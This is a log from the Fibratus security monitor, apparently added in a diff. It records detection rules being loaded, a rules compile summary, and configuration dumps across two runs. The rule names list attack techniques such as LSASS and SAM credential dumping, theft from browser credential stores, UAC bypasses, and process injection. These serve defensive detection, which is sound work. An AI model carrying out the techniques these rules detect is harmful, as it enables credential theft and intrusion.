level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T15:43:15+01:00 level=info msg=bootstrapping with pid 11456. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T15:43:15+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false port=>25 content-type=>text/html use-template=>true to=>[]] systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-mem=>false max-buffers=>36 enable-handle=>false enable-vamap=>true enable-dns=>false flush-interval=>1s enable-thread=>true enable-registry=>true enable-image=>true min-buffers=>16 enable-fileio=>true enable-threadpool=>false enable-net=>true buffer-size=>512 stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text log-stdout=>true level=>info max-age=>0 max-size=>100 max-backups=>15] + output ......................... [ elasticsearch=>[ healthcheck-interval=>10s flush-period=>1s template-name=>fibratus trace-log=>false servers=>[http://127.0.0.1:9200] enabled=>false healthcheck=>true timeout=>5s bulk-workers=>1 healthcheck-timeout=>5s index-name=>fibratus sniff=>false gzip-compression=>false] amqp=>[ tls-insecure-skip-verify=>false exchange-type=>topic exchange=>fibratus timeout=>5s routing-key=>fibratus durable=>false vhost=>/ passive=>false url=>amqp://localhost:5672 enabled=>false delivery-mode=>transient] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] http=>[ tls-insecure-skip-verify=>false method=>POST enable-gzip=>false serializer=>json endpoints=>[] timeout=>5s enabled=>false]] + pe ............................. [ read-symbols=>false read-sections=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] fastscan=>true skip-files=>false scan-timeout=>10s skip-mmaps=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false skip-registry=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T15:43:15+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:43:18+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:43:46+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T15:43:46+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:43:47+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:46:24+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:46:24+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T15:46:24+01:00 level=info msg=bootstrapping with pid 10020. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T15:46:24+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ port=>25 use-template=>true content-type=>text/html to=>[] enabled=>false] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ stack-enrichment=>true enable-dns=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true flush-interval=>1s enable-audit-api=>true enable-threadpool=>false enable-registry=>true enable-net=>true buffer-size=>512 enable-image=>true enable-fileio=>true enable-vamap=>true min-buffers=>16 enable-mem=>false enable-handle=>false max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-size=>100 formatter=>text log-stdout=>true max-backups=>15 max-age=>0] + output ......................... [ elasticsearch=>[ template-name=>fibratus sniff=>false trace-log=>false bulk-workers=>1 timeout=>5s healthcheck-timeout=>5s healthcheck-interval=>10s flush-period=>1s gzip-compression=>false servers=>[http://127.0.0.1:9200] enabled=>false index-name=>fibratus healthcheck=>true] http=>[ endpoints=>[] enabled=>false tls-insecure-skip-verify=>false timeout=>5s serializer=>json method=>POST enable-gzip=>false] amqp=>[ routing-key=>fibratus durable=>false url=>amqp://localhost:5672 passive=>false exchange-type=>topic enabled=>false vhost=>/ timeout=>5s delivery-mode=>transient tls-insecure-skip-verify=>false exchange=>fibratus] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-files=>false excluded-procs=>[] skip-allocs=>false skip-mmaps=>false fastscan=>true skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] 